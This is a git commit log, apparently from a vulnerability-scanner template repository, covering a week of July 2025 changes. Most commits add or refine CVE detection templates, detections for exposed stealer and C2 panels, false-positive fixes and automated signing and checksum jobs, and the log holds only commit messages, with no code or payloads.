Dhiyaneshwaran e62d424bdf Update CVE-2025-6197.yaml 2025-07-25 20:41:03 +05:30
Dhiyaneshwaran f89de0db5d Create CVE-2025-6197.yaml 2025-07-25 20:35:22 +05:30
Pedro Araujo d6cd81164d Merge branch 'main' into composer 2025-07-25 10:33:42 -03:00
ghost 854d442fab chore: generate new addition list 🤖 2025-07-25 12:11:08 +00:00
ghost 1b603f4180 chore: generate templates checksum 🤖 2025-07-25 12:11:06 +00:00
ghost 610cdd8d8a chore: generate CVEs metadata 🤖 2025-07-25 12:10:53 +00:00
Dhiyaneshwaran 62a431b93f Merge pull request #12595 from VijayS1808/patch-1
Create CVE-2024-50477.yaml
2025-07-25 17:40:38 +05:30
Dhiyaneshwaran 674f167d77 Update CVE-2025-53770.yaml
Reference: https://securelist.com/toolshell-explained/117045/
2025-07-25 17:33:42 +05:30
Dhiyaneshwaran ec389e1069 updated-matcher 2025-07-25 17:06:40 +05:30
Rishi 8b4d2e1244 fix 2025-07-25 12:07:00 +01:00
Rishi cf1afe81d4 strengthen matchers 2025-07-25 12:02:01 +01:00
Dhiyaneshwaran 131683c5e8 description-format-update 2025-07-25 14:55:07 +05:30
Rishi e0ab71aac1 remove invalided templates 2025-07-25 06:25:53 +01:00
HD Moore 209157c2ff fix #12697 by switching to regex matcher 2025-07-24 23:10:48 -05:00
ghost c8635f7afa chore: generate new addition list 🤖 2025-07-25 03:35:11 +00:00
ghost fc273fe443 chore: sign templates 🤖 2025-07-25 03:35:08 +00:00
ghost 3ca3885af8 chore: generate templates checksum 🤖 2025-07-25 03:35:05 +00:00
ghost 944b700d68 chore: generate CVEs metadata 🤖 2025-07-25 03:35:02 +00:00
pussycat0x d3268428a5 Merge pull request #12689 from projectdiscovery/CVE-2025-34141
Create CVE-2025-34141.yaml (ETQ Reliance Reflected XSS via `SQLConverterServlet`)
2025-07-25 09:04:41 +05:30
ghost a1fc22fe8e chore: generate templates checksum 🤖 2025-07-25 02:46:22 +00:00
ghost 8d38c12fc2 chore: sign templates 🤖 2025-07-25 02:46:18 +00:00
Dhiyaneshwaran fbba760f72 Merge pull request #12704 from projectdiscovery/fp-Microsoft-Intune
Fix FP for Microsoft Intune - mismatched-ssl-certificate
2025-07-25 08:15:53 +05:30
ghost feea7e53f4 chore: update WordPress Plugins 🤖 2025-07-25 00:28:26 +00:00
rxerium 4d1fc9258b fixes 2025-07-24 19:32:42 +01:00
pussycat0x 37a33e5e19 template format - update 2025-07-24 23:10:15 +05:30
Prince Chaddha e0bf0bb782 fixed fp for Microsoft Intune 2025-07-24 18:50:05 +04:00
pussycat0x cc2994081e Description - update 2025-07-24 18:33:35 +05:30
ghost fd0d5d7a85 chore: sign templates 🤖 2025-07-24 11:41:03 +00:00
ghost a92cf668ce chore: generate templates checksum 🤖 2025-07-24 11:40:57 +00:00
sandeep 2cd1143e33 added missing condition check (got removed in merge conflict) 2025-07-24 17:10:34 +05:30
ghost 99b1c1560b chore: generate new addition list 🤖 2025-07-24 11:34:18 +00:00
ghost 9ac78f4030 chore: generate templates checksum 🤖 2025-07-24 11:34:12 +00:00
ghost f6e9822d1e chore: sign templates 🤖 2025-07-24 11:34:08 +00:00
d9186049fe Update CVE-2025-53770.yaml (#12702)
* Update CVE-2025-53770.yaml

* removed extra headers

---------

Co-authored-by: sandeep <[email protected]>
Co-authored-by: Sandeep Singh <[email protected]>
2025-07-24 17:03:46 +05:30
Icaro Torres 23b2897b75 Update openmetadata-detect.yaml
Including princechaddha suggestion
2025-07-24 08:32:20 -03:00
ghost d74dd3fa37 chore: generate templates checksum 🤖 2025-07-24 11:31:17 +00:00
ghost 80d5576636 chore: sign templates 🤖 2025-07-24 11:31:13 +00:00
Icaro Torres 2a0e16ff15 Update openmetadata-default-login.yaml
Including princechaddha suggestion
2025-07-24 08:31:12 -03:00
ghost 4aeb49d0ef chore: generate CVEs metadata 🤖 2025-07-24 11:31:08 +00:00
Dhiyaneshwaran 6b331d48e6 Merge pull request #12631 from projectdiscovery/pussycat0x-patch-13
Create CVE-2025-5961.yaml
2025-07-24 17:00:46 +05:30
pussycat0x 626c4e5846 format tags - update 2025-07-24 16:25:33 +05:30
ghost 44f95dc310 chore: sign templates 🤖 2025-07-24 09:31:27 +00:00
ghost edb7606dd4 chore: generate templates checksum 🤖 2025-07-24 09:31:26 +00:00
sandeep d03c561b32 lint fixes 2025-07-24 15:01:02 +05:30
ghost 05e55af44d chore: sign templates 🤖 2025-07-24 09:28:49 +00:00
Sandeep Singh 046accd9c5 added in template payload generate + intrusive tag (#12701) 2025-07-24 14:58:22 +05:30
Dhiyaneshwaran 757d3cfbac added metadata and updated matcher 2025-07-24 14:54:10 +05:30
Prince Chaddha 321636fbc5 OSINT user enumeration templates 2025-07-24 09:13:19 +04:00
ghost 8573967407 chore: generate new addition list 🤖 2025-07-24 04:50:49 +00:00
ghost 9d9593ed26 chore: generate templates checksum 🤖 2025-07-24 04:50:42 +00:00
ghost b0ab7a646b chore: sign templates 🤖 2025-07-24 04:50:40 +00:00
Dhiyaneshwaran 0ddd16d3c2 Merge pull request #12696 from projectdiscovery/pussycat0x-patch-12
Create oxf-phaas-panel.yaml
2025-07-24 10:20:17 +05:30
ghost 01dd471a5d chore: generate new addition list 🤖 2025-07-24 04:49:34 +00:00
ghost 3e7f2f4855 chore: sign templates 🤖 2025-07-24 04:49:29 +00:00
ghost f241828d26 chore: generate templates checksum 🤖 2025-07-24 04:49:26 +00:00
Dhiyaneshwaran 50d4944e71 Merge pull request #12695 from projectdiscovery/pussycat0x-patch-10
Create amatera-stealer-panel.yaml
2025-07-24 10:19:04 +05:30
Dhiyaneshwaran f293008d1a updated description and metadata 2025-07-24 10:18:42 +05:30
Dhiyaneshwaran f8067efff6 updated description and metadata 2025-07-24 10:15:52 +05:30
ghost 7c02273556 chore: generate new addition list 🤖 2025-07-24 04:44:38 +00:00
ghost e59baf66b2 chore: sign templates 🤖 2025-07-24 04:44:31 +00:00
ghost 1d5f9ab083 chore: generate templates checksum 🤖 2025-07-24 04:44:26 +00:00
Dhiyaneshwaran 179aa25eaf Merge pull request #12693 from projectdiscovery/pussycat0x-patch-5
Create cyber-stealer-panel.yaml
2025-07-24 10:14:07 +05:30
ghost 0d893001d4 chore: generate new addition list 🤖 2025-07-24 04:39:44 +00:00
ghost 2438adff45 chore: sign templates 🤖 2025-07-24 04:39:38 +00:00
ghost c05ddeab49 chore: generate templates checksum 🤖 2025-07-24 04:39:31 +00:00
Dhiyaneshwaran 33c533a363 Merge pull request #12694 from projectdiscovery/pussycat0x-patch-8
Create bofamet-stealer-panel.yaml
2025-07-24 10:09:14 +05:30
Dhiyaneshwaran 8f5e9e8607 added description and metadata 2025-07-24 10:08:27 +05:30
Dhiyaneshwaran c99892d4a2 Update and rename http/exposed-panels/cyber-stealer-panel.yaml to http/exposed-panels/c2/cyber-stealer-panel.yaml 2025-07-24 10:06:43 +05:30
ghost fd8af7fbc5 chore: generate templates checksum 🤖 2025-07-24 04:35:59 +00:00
ghost 03c689c280 chore: sign templates 🤖 2025-07-24 04:35:55 +00:00
Dhiyaneshwaran 34e6445bb3 Merge pull request #12647 from projectdiscovery/pussycat0x-patch-20
FP - Fix  phpmyadmin-misconfiguration.yaml
2025-07-24 10:05:30 +05:30
Dhiyaneshwaran ee244f228b added metadata and description 2025-07-24 10:05:00 +05:30
Dhiyaneshwaran af3d143037 updated-matchers 2025-07-24 09:59:23 +05:30
ghost cc1172e8c6 chore: update WordPress Plugins 🤖 2025-07-24 00:28:46 +00:00
ghost 4a52b9c143 chore: generate new addition list 🤖 2025-07-23 18:37:37 +00:00
ghost b00befae44 chore: sign templates 🤖 2025-07-23 18:37:34 +00:00
ghost 09a07e1cbc chore: generate CVEs metadata 🤖 2025-07-23 18:37:27 +00:00
pussycat0x b034f6db9f Merge pull request #12690 from projectdiscovery/CVE-2025-40630
Create CVE-2025-40630.yaml (IceWarp Mail Server ≤ 11.4.0 - Open redirect)
2025-07-24 00:07:06 +05:30
pussycat0x f685399584 Create oxf-phaas-panel.yaml 2025-07-23 23:47:39 +05:30
pussycat0x 49cb963635 Create amatera-stealer-panel.yaml 2025-07-23 23:41:06 +05:30
pussycat0x 64ea7f3ee9 Create bofamet-stealer-panel.yaml 2025-07-23 23:28:04 +05:30
pussycat0x 8878ba32dc Create cyber-stealer-panel.yaml 2025-07-23 23:18:34 +05:30
ghost 87d58632a5 chore: generate new addition list 🤖 2025-07-23 17:19:47 +00:00
ghost abda590666 chore: generate templates checksum 🤖 2025-07-23 17:19:42 +00:00
ghost 6ffa532fa0 chore: generate CVEs metadata 🤖 2025-07-23 17:19:35 +00:00
1599dc93ce Adds check for CVE-2025-53770 (#12686)
* Adds check for CVE-2025-53770

* fix-template

* fix-false-positive

* fix-template

* fix-template

* Update CVE-2025-53770 template structure

- Add remediation section
- Include CWE-502 classification for deserialization vulnerability
- Reorder references with NVD first
- Remove spaces from tags
- Add microsoft tag
- Fix spacing in impact description
- Update shodan query to lowercase

* Updated payload to generate custom response header + match based on MSF PR

* thanks to sfewer-r7

---------

Co-authored-by: Dhiyaneshwaran <[email protected]>
Co-authored-by: Prince Chaddha <[email protected]>
Co-authored-by: sandeep <[email protected]>
2025-07-23 22:49:15 +05:30
pussycat0x 8adf3624ca flow -update 2025-07-23 19:51:26 +05:30
ghost 068ddc6d9d chore: generate new addition list 🤖 2025-07-23 12:24:25 +00:00
ghost 40a36ee4e9 chore: sign templates 🤖 2025-07-23 12:24:20 +00:00
ghost f0ca992519 chore: generate templates checksum 🤖 2025-07-23 12:24:18 +00:00
Dhiyaneshwaran 2275d18f6b Merge pull request #12625 from projectdiscovery/pussycat0x-patch-10
Create nats-server-enum.yaml
2025-07-23 17:53:56 +05:30
Dhiyaneshwaran 1779e1f3b6 updated-matcher 2025-07-23 17:40:43 +05:30
Prince Chaddha c53b5833df enhance CVE-2025-34141 template
- add CPE classification identifier for vulnerability management
- add vendor and product metadata fields
- improve search queries with proper quoting
- add FOFA query for additional discoverability
- enhance tags with reflected-xss for better categorization
- separate etq-reliance into individual etq and reliance tags
2025-07-23 13:23:01 +04:00
Prince Chaddha 16f8bc1837 added the google-query back 2025-07-23 13:22:41 +04:00
Prince Chaddha f50518f044 enhance CVE-2025-40630 template
- fix capitalization in template name (Open Redirect)
- improve description clarity and readability
- add impact and remediation sections
- reorder references with NVD first for consistency
- add complete classification with CVSS metrics, CVE ID, CWE ID, and CPE
- correct product name from deep_castle_g2 to mail_server
- improve search queries with proper quoting and capitalization
- remove deprecated google-query
- add open-redirect tag for better categorization
2025-07-23 13:13:30 +04:00
Dhiyaneshwaran 249a01903e Create CVE-2025-40630.yaml 2025-07-23 13:43:32 +05:30
Prince Chaddha 8315c04dc3 enhance CVE-2025-53364 template
- reorder references with NVD first for consistency
- add CPE classification identifier
- add Shodan query for better discoverability
- fix trailing spaces for clean formatting
2025-07-23 12:05:18 +04:00
Prince Chaddha acb7b2003d enhance CVE-2020-11975 template
- improve template name clarity (Remote Code Execution)
- refine description for better readability
- add impact and remediation sections
- add official Apache security advisory reference
- enhance classification with EPSS scores and CPE
- add vendor/product metadata and Shodan query
- reorder tags for consistency (cve first)
2025-07-23 11:46:14 +04:00
Prince Chaddha 49ebb40a9d Update CVE-2025-34141 template structure
- Add impact and remediation sections
- Include proper classification with CVSS metrics and CWE
- Update max-request to 2 to reflect flow usage
- Fix name format following guidelines
2025-07-23 11:24:01 +04:00
Prince Chaddha 7fa54c1c40 Update CVE-2025-34143 template structure
- Add impact and remediation sections
- Include proper classification with CVSS metrics and CWE
- Add missing cve and cve2025 tags
- Add NVD reference link
- Set verified to true in metadata
2025-07-23 11:23:21 +04:00
Dhiyaneshwaran f2036aac7a Create CVE-2025-34141.yaml 2025-07-23 12:16:16 +05:30
Dhiyaneshwaran 9bb1dad95d fix-template 2025-07-23 12:14:57 +05:30
Dhiyaneshwaran c4b84986ee fix-template 2025-07-23 12:12:11 +05:30
ghost 335ae268b2 chore: update WordPress Plugins 🤖 2025-07-23 00:28:24 +00:00
ghost 1a41ccdd26 chore: generate templates checksum 🤖 2025-07-22 16:57:29 +00:00
Dhiyaneshwaran cb75ca748c Merge pull request #12627 from daffainfo/patch-35
Update ms-exchange-local-domain.yaml
2025-07-22 22:27:01 +05:30
ghost b005f693b7 chore: generate new addition list 🤖 2025-07-22 16:52:24 +00:00
ghost 0d7aa54bdc chore: sign templates 🤖 2025-07-22 16:52:17 +00:00
ghost 3a80786f79 chore: generate templates checksum 🤖 2025-07-22 16:52:14 +00:00
ghost 9cf81ec2e0 chore: generate CVEs metadata 🤖 2025-07-22 16:52:11 +00:00
Dhiyaneshwaran 79ab15f5fa Merge pull request #12684 from projectdiscovery/CVE-2024-58136
Create CVE-2024-58136.yaml
2025-07-22 22:21:49 +05:30
ghost 628ce3c203 chore: generate new addition list 🤖 2025-07-22 16:48:49 +00:00
ghost 068c7664da chore: generate templates checksum 🤖 2025-07-22 16:48:44 +00:00
ghost 12df99d9f4 chore: sign templates 🤖 2025-07-22 16:48:43 +00:00
Dhiyaneshwaran 3814a85584 Merge pull request #12623 from projectdiscovery/pussycat0x-patch-8
Create vtun-server.yaml
2025-07-22 22:18:19 +05:30
ghost a9e7846612 chore: generate new addition list 🤖 2025-07-22 16:44:02 +00:00
ghost 25cd6d4146 chore: sign templates 🤖 2025-07-22 16:43:59 +00:00
ghost 19f16b8a8e chore: generate CVEs metadata 🤖 2025-07-22 16:43:55 +00:00
Dhiyaneshwaran 84a7927aeb Merge pull request #12632 from projectdiscovery/pussycat0x-patch-15
Create CVE-2025-49029.yaml
2025-07-22 22:13:33 +05:30
Dhiyaneshwaran 4fc0db3f0d detect all 2025-07-22 22:13:04 +05:30
Dhiyaneshwaran a09162c339 added-additional-matcher 2025-07-22 22:09:14 +05:30
Dhiyaneshwaran fa7fc21064 fix-format 2025-07-22 22:04:03 +05:30
pussycat0x 23e3ac410e lint-fix 2025-07-22 21:04:02 +05:30
ghost 0cce1e68f7 chore: sign templates 🤖 2025-07-22 11:50:08 +00:00
ghost 9f1aebc8bc chore: generate templates checksum 🤖 2025-07-22 11:50:03 +00:00
Dhiyaneshwaran 33f261aa05 Merge pull request #12677 from daffainfo/main
feat: change id and some name
2025-07-22 17:19:40 +05:30
ghost 68c8713452 chore: generate new addition list 🤖 2025-07-22 11:38:05 +00:00
ghost 0d37cd3dc3 chore: generate templates checksum 🤖 2025-07-22 11:38:02 +00:00
ghost 16f0043ef5 chore: generate CVEs metadata 🤖 2025-07-22 11:37:59 +00:00
pussycat0x 77587882e9 Merge pull request #12402 from criminalinfluencer/CVE-2017-18349
Added CVE-2017-18349 template
2025-07-22 17:07:35 +05:30
Sourabh Sahu 41de55890c Update CVE-2022-25237.yaml 2025-07-22 16:49:02 +05:30
pussycat0x fe5cc94243 duplicate 2025-07-22 15:22:58 +05:30
Ritik Chaddha 649d15930c fix 2025-07-22 14:23:05 +05:30
ghost 2186de3fc7 chore: generate templates checksum 🤖 2025-07-22 08:52:34 +00:00
ghost 86d0f76697 chore: sign templates 🤖 2025-07-22 08:52:30 +00:00
Ritik Chaddha 8e05d32aad Merge pull request #12683 from projectdiscovery/pussycat0x-patch-12
FN Fix  nacos-create-user.yaml
2025-07-22 14:22:04 +05:30
Dhiyaneshwaran 8a43448e7c Create etq-reliance-auth-bypass.yaml 2025-07-22 14:20:35 +05:30
ritikchaddha c11c2a56bc Create CVE-2024-58136.yaml 2025-07-22 14:17:42 +05:30
pussycat0x cb0ba8c40e FN Fix nacos-create-user.yaml 2025-07-22 14:16:00 +05:30
ghost 2859fb695e chore: sign templates 🤖 2025-07-22 08:22:25 +00:00
Dhiyaneshwaran 34103213a4 Merge pull request #12681 from projectdiscovery/FP-molgenis-default-login
Fix FP molgenis-default-login.yaml
2025-07-22 13:52:00 +05:30
Ritik Chaddha 1351b33c6d Fix FP molgenis-default-login.yaml 2025-07-22 13:43:49 +05:30
ghost 720d4a78a4 chore: generate new addition list 🤖 2025-07-22 07:26:20 +00:00
ghost 94b7da368c chore: generate CVEs metadata 🤖 2025-07-22 07:26:10 +00:00
ghost 4aedaf4012 chore: generate templates checksum 🤖 2025-07-22 07:26:07 +00:00
Dhiyaneshwaran 5aeb7e5a09 Merge pull request #12629 from projectdiscovery/pussycat0x-patch-12
Create CVE-2025-6058.yaml
2025-07-22 12:55:44 +05:30
Dhiyaneshwaran d14e8298ee fix-template-format 2025-07-22 12:44:16 +05:30
ghost 926a681697 chore: generate new addition list 🤖 2025-07-22 06:57:16 +00:00
ghost bc98f6fb08 chore: generate templates checksum 🤖 2025-07-22 06:55:41 +00:00
ghost a99da70547 chore: sign templates 🤖 2025-07-22 06:55:37 +00:00
Dhiyaneshwaran cc3e62cbdc Merge pull request #12609 from rxerium/luma-osint
Luma OSINT Template
2025-07-22 12:25:12 +05:30
Dhiyaneshwaran 05e70e679f added-additional-matcher 2025-07-22 12:18:43 +05:30
Dhiyaneshwaran dff5f0db0c minor-update 2025-07-22 12:16:30 +05:30
ghost bda3a8731c chore: generate templates checksum 🤖 2025-07-22 06:31:30 +00:00
ghost 57ce866d94 chore: sign templates 🤖 2025-07-22 06:31:26 +00:00
Dhiyaneshwaran cd9e1a760c Merge pull request #12669 from projectdiscovery/FN-oneinstack-control-center
Fix FN oneinstack-control-center.yaml
2025-07-22 12:01:02 +05:30
ghost e18fa5e109 chore: update WordPress Plugins 🤖 2025-07-22 00:28:32 +00:00
Dhiyaneshwaran b7c6075426 Revert "Add flow optimization to multiple paylaods/ reqs templates for performance improvement" 2025-07-22 02:07:56 +05:30
Dhiyaneshwaran 5f98107f9d fix-weak-matcher 2025-07-22 01:17:36 +05:30
Dhiyaneshwaran f8f6d4cd13 minor-update 2025-07-22 01:01:04 +05:30
ghost e5c3b78a6c chore: sign templates 🤖 2025-07-21 18:24:17 +00:00
ghost 1a50aaaa7c chore: generate templates checksum 🤖 2025-07-21 18:24:12 +00:00
pussycat0x e8fa1d5bca Merge pull request #12664 from projectdiscovery/updated-multiple-payloads-with-flow
Add flow optimization to multiple paylaods/ reqs templates for performance improvement
2025-07-21 23:53:49 +05:30
Sourabh Sahu 25579a21da Update CVE-2020-11975.yaml 2025-07-21 19:30:27 +05:30
Sourabh Sahu 8031548ee0 Create CVE-2020-11975.yaml 2025-07-21 19:08:57 +05:30
daffainfo ae70e1d538 feat: change id and some name 2025-07-21 19:07:12 +07:00
ghost 8b0a160e20 chore: sign templates 🤖 2025-07-21 10:50:27 +00:00
ghost fdf86a7734 chore: generate templates checksum 🤖 2025-07-21 10:50:25 +00:00
Ritik Chaddha 58247d93cb Merge pull request #12675 from daffainfo/patch-41
Update and rename sql-dump.yaml to mysql-dump.yaml
2025-07-21 16:20:02 +05:30
ghost 195ca70087 chore: generate templates checksum 🤖 2025-07-21 10:44:40 +00:00
ghost 4724ef8d59 chore: sign templates 🤖 2025-07-21 10:44:38 +00:00
Ritik Chaddha cb6c738db9 Merge pull request #12674 from daffainfo/patch-40
Rename citrix-adc-gateway-detect.yaml to citrix-adc-gateway-panel.yaml
2025-07-21 16:14:14 +05:30
Muhammad Daffa 3e5798b580 Update and rename sql-dump.yaml to mysql-dump.yaml 2025-07-21 17:44:10 +07:00
ghost 6f01b81374 chore: sign templates 🤖 2025-07-21 10:41:32 +00:00
ghost dc328ef985 chore: generate templates checksum 🤖 2025-07-21 10:41:30 +00:00
Ritik Chaddha 9b6577aa6a Merge pull request #12663 from projectdiscovery/fix-cve-2025-4427-false-negative
Fix CVE-2025-4427 false-negative detection
2025-07-21 16:11:02 +05:30
ghost b12c7c79f3 chore: sign templates 🤖 2025-07-21 10:40:55 +00:00
ghost 5feb796e25 chore: generate templates checksum 🤖 2025-07-21 10:40:53 +00:00
Ritik Chaddha a35d21a286 Merge pull request #12673 from daffainfo/patch-39
Update cisco-asa-panel.yaml
2025-07-21 16:10:31 +05:30
Muhammad Daffa 9fbebf1320 Rename citrix-adc-gateway-detect.yaml to citrix-adc-gateway-panel.yaml 2025-07-21 17:38:36 +07:00
ghost b1b29ba0ea chore: generate templates checksum 🤖 2025-07-21 10:38:32 +00:00
ghost a10f341b48 chore: sign templates 🤖 2025-07-21 10:38:28 +00:00
Ritik Chaddha 9952f8f5a8 Merge pull request #12672 from daffainfo/patch-38
Update and rename arcgis-tokens.yaml to arcgis-token-service-detect.yaml
2025-07-21 16:08:04 +05:30
ghost 5cdad5e8e8 chore: generate templates checksum 🤖 2025-07-21 10:35:57 +00:00
ghost d213f4da91 chore: sign templates 🤖 2025-07-21 10:35:52 +00:00
Muhammad Daffa 4516c888d0 Update cisco-asa-panel.yaml 2025-07-21 17:35:48 +07:00
Ritik Chaddha 0d1cafe58c Merge pull request #12671 from daffainfo/patch-36
Rename access-log.yaml to access-log-file.yaml
2025-07-21 16:05:29 +05:30
ghost d3be6020f0 chore: sign templates 🤖 2025-07-21 10:35:26 +00:00
Ritik Chaddha 19e61cdce7 Merge pull request #12670 from daffainfo/patch-37
Update argocd-login.yaml
2025-07-21 16:05:00 +05:30
Muhammad Daffa ccf592c03d Update and rename arcgis-tokens.yaml to arcgis-token-service-detect.yaml 2025-07-21 17:33:37 +07:00
Muhammad Daffa 043fa628fb Update argocd-login.yaml 2025-07-21 17:29:31 +07:00
Muhammad Daffa 20e7d5148a Rename access-log.yaml to access-log-file.yaml 2025-07-21 17:23:11 +07:00
ritikchaddha ba783e925f Fix FN oneinstack-control-center.yaml 2025-07-21 14:34:48 +05:30
Prince Chaddha 8def1ee5ba reverted matcher 2025-07-21 10:00:19 +04:00
Prince Chaddha b135add552 Improve CVE-2025-53364 template
- Update name format to follow guidelines
- Add missing CVE classification (cve-id, cwe-id, cvss-score)
- Add impact and remediation sections
- Update tags to include cve, cve2025, graphql, info-disclosure
- Improve matchers for better reliability
- Clean up JSON formatting in body
- Add header matcher for robust detection
2025-07-21 09:58:59 +04:00
ghost 43dec42d54 chore: generate new addition list 🤖 2025-07-21 00:56:32 +00:00
ghost c164904068 chore: generate templates checksum 🤖 2025-07-21 00:56:29 +00:00
ghost 27b2d7443d chore: sign templates 🤖 2025-07-21 00:56:26 +00:00
Dhiyaneshwaran 460284869c Merge pull request #12667 from projectdiscovery/fixed-credit-card-number-detect
Fixed FP in credit-card-number-detect
2025-07-21 06:26:03 +05:30
ghost 38effa3776 chore: update WordPress Plugins 🤖 2025-07-21 00:30:21 +00:00
night a22950a941 Merge branch 'main' into CVE-2017-18349 2025-07-20 16:04:42 -04:00
night e881008bde Update CVE-2017-18349.yaml
fix last line space
2025-07-20 16:03:24 -04:00
ghost 3cd6c6d51e chore: generate new addition list 🤖 2025-07-20 19:22:59 +00:00
ghost 47ea05ee6e chore: generate templates checksum 🤖 2025-07-20 19:22:53 +00:00
79ddcf1f81 sharepoint-webshell-toolshell.yaml (#12666)
* Create CVE-2025-25257.yaml

* Update CVE-2025-25257.yaml

* Update CVE-2025-25257.yaml

* Update CVE-2025-25257.yaml

* Update CVE-2025-25257.yaml

* Update CVE-2025-25257.yaml

* updated shodan query

* updated impact

* Create sharepoint-webshell-toolshell.yaml

* Delete http/cves/2025/CVE-2025-25257.yaml

* moved file around + improved matches

---------

Co-authored-by: Prince Chaddha <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
Co-authored-by: sandeep <[email protected]>
2025-07-21 00:52:30 +05:30
Prince Chaddha 8966ee5856 fixed fp credit-card-number-detect 2025-07-20 23:02:51 +04:00
ghost 6c230b1d98 chore: generate new addition list 🤖 2025-07-20 10:58:53 +00:00
ghost f3df156936 chore: generate CVEs metadata 🤖 2025-07-20 10:58:48 +00:00
ghost 4ac8795a2e chore: sign templates 🤖 2025-07-20 10:58:47 +00:00
pussycat0x 0706468f61 Merge pull request #12472 from riteshs4hu/main
Create CVE-2019-5544.yaml
2025-07-20 16:28:24 +05:30
Ritesh Sahu 35419779ef Merge branch 'main' into main 2025-07-20 15:00:34 +05:30
Dhiyaneshwaran 5888d3b69d added intrusive 2025-07-20 14:48:31 +05:30
securitytaters 188714a56d Added CVE-2025-53364
Parse Server Data schema exposed via GraphQL API public introspection
2025-07-20 14:21:43 +05:30
Dhiyaneshwaran 09aaa14502 fix-template 2025-07-20 14:17:19 +05:30
Prince Chaddha d694ffeb6b updated templates with multiple payloads / request with flow 2025-07-20 11:10:28 +04:00
Prince ChaddhaandClaude c390f37abe Fix CVE-2025-4427 false-negative detection
- Updated matchers to detect both process ID and UNIXProcess object responses
- Added regex matcher for 'java.lang.UNIXProcess@[hash]' format
- Reorganized matchers with OR condition for better coverage
- Fixes issue #12209

🤖 Generated with [Claude Code](https://claude.ai/code)

Co-Authored-By: Claude <[email protected]>
2025-07-20 10:37:11 +04:00
Prince Chaddha 8b16a8504c Revert "Add improved CVE-2020-24914 template"
This reverts commit 11f4c64995.
2025-07-20 10:21:59 +04:00
Prince Chaddha 49e8872e21 Update .gitignore 2025-07-20 10:21:40 +04:00
Prince ChaddhaandClaude 6906fceae8 Add Scalar API documentation detection template
- Adds detection for Scalar UI in backend applications
- Targets /scalar and /scalar/v1 endpoints
- Includes proper metadata and classification
- Resolves GitHub issue #12622

🤖 Generated with [Claude Code](https://claude.ai/code)

Co-Authored-By: Claude <[email protected]>
2025-07-20 10:09:59 +04:00
Prince Chaddha 11f4c64995 Add improved CVE-2020-24914 template
- Fixed template name format and structure
- Added impact and remediation sections
- Added proper CVE ID, CWE, and CPE classification
- Updated metadata with vendor/product fields
- Added Shodan and FOFA search queries
- Added deserialization tag
- Fixed YAML syntax (requests to http)
- Improved matchers with status code check
- Reordered references with NVD first
2025-07-20 10:00:01 +04:00
Prince Chaddha 6661aac63e Update CVE-2022-25237.yaml 2025-07-20 09:50:36 +04:00
Sourabh Sahu 15b818fb9c Update CVE-2022-25237.yaml 2025-07-20 09:57:58 +05:30
Sourabh Sahu 9f16f47311 Create CVE-2022-25237.yaml 2025-07-20 08:51:09 +05:30
ghost b9da34064e chore: update WordPress Plugins 🤖 2025-07-20 00:31:22 +00:00
Ritesh Sahu fc4e90c712 Merge branch 'projectdiscovery:main' into main 2025-07-19 13:08:37 +05:30
ghost 606558879e chore: update WordPress Plugins 🤖 2025-07-19 00:27:31 +00:00
Prince Chaddha c53a020c15 Update VTUN server detection template with minor enhancements
- Added 'service' tag for better categorization
- Added Fofa query for comprehensive service detection
- Template maintains all defensive security practices
2025-07-18 14:54:45 +04:00
Prince Chaddha 59223adba0 Update CVE-2025-5961.yaml
- Fix template name format following guidelines
- Add missing impact and remediation sections
- Add classification section with CVSS metrics and CWE ID
- Add metadata section with vendor, product, and Shodan query
- Fix tags: remove incorrect 'unauth' tag, add 'authenticated' and 'file-upload'
- Improve matchers by splitting DSL into individual matchers
- Add matchers-condition for better clarity
- Update description with proper spacing
2025-07-18 14:49:22 +04:00
Prince Chaddha 7b440a6c01 Update CVE-2025-49029.yaml
- Fix template name to use Code Injection instead of Arbitrary Code Execution
- Add missing impact and remediation sections
- Add classification section with CVSS score and CWE ID
- Add metadata with vendor, product, and Shodan query
- Improve tags with more specific categories
- Fix trailing spaces in POST request
- Improve matchers with better conditions and status checks
- Add extractors for better detection
2025-07-18 14:33:34 +04:00
Prince Chaddha dc0ac9920c reverted nonce value 2025-07-18 14:28:57 +04:00
Prince Chaddha 96131d0cc7 Update CVE-2025-6934 template with proper formatting and metadata
- Fixed grammar, spelling, and spacing in description
- Added classification with CVSS metrics and CVE/CWE IDs
- Added impact and remediation sections
- Updated metadata with vendor, product, and Shodan query
- Enhanced tags with proper WordPress plugin tags
- Fixed variable quoting for consistency
- Improved nonce extraction usage in POST request
- Enhanced matchers to validate plugin presence
2025-07-18 14:26:56 +04:00
Prince Chaddha c753003573 Update CVE-2025-4334 template with proper formatting and metadata
- Fixed grammar and spacing in description
- Added classification with CVSS metrics and CVE/CWE IDs
- Added impact and remediation sections
- Updated metadata with vendor, product, and Shodan query
- Enhanced tags with proper WordPress plugin tags
- Fixed variable quoting for consistency
2025-07-18 14:24:54 +04:00
Dhiyaneshwaran a614afcab5 fix-trail-space 2025-07-18 15:14:45 +05:30
pussycat0x 75c4413097 Update phpmyadmin-misconfiguration.yaml 2025-07-18 14:49:11 +05:30
pussycat0x 9698f74664 Update phpmyadmin-misconfiguration.yaml 2025-07-18 14:38:37 +05:30
pussycat0x bc4e0c8613 FP - Fix phpmyadmin-misconfiguration.yaml 2025-07-18 14:30:25 +05:30
@gdattacker ac050edb9b Delete http/takeovers/tumblr-takeover.yaml
can't add custom domains anymore
2025-07-18 09:56:57 +05:30
ghost bb88478042 chore: update WordPress Plugins 🤖 2025-07-18 00:27:35 +00:00
Chris 2f861d2034 Add ics tag 2025-07-17 20:50:00 +02:00
Chris 360c82fe14 Update aspect-control-panel 2025-07-17 20:38:39 +02:00
pussycat0x af815eda46 Update nats-server-enum.yaml 2025-07-17 18:00:38 +05:30
ghost adcf70b57f chore: sign templates 🤖 2025-07-17 12:24:28 +00:00
ghost d2912b1c6d chore: generate templates checksum 🤖 2025-07-17 12:24:22 +00:00
ghost 9569905ad6 chore: generate CVEs metadata 🤖 2025-07-17 12:21:45 +00:00
ghost 967f60cdb5 chore: generate templates checksum 🤖 2025-07-17 12:21:42 +00:00
ghost de93884950 chore: sign templates 🤖 2025-07-17 12:21:41 +00:00
ghost b1afebae54 chore: generate new addition list 🤖 2025-07-17 12:21:31 +00:00
Dhiyaneshwaran d6b236105a Merge pull request #12637 from projectdiscovery/CVE-2024-36675
Create CVE-2024-36675.yaml
2025-07-17 17:51:16 +05:30
Dhiyaneshwaran ced285bc8d Merge pull request #12638 from projectdiscovery/CVE-2024-33832
Create CVE-2024-33832.yaml
2025-07-17 17:51:03 +05:30
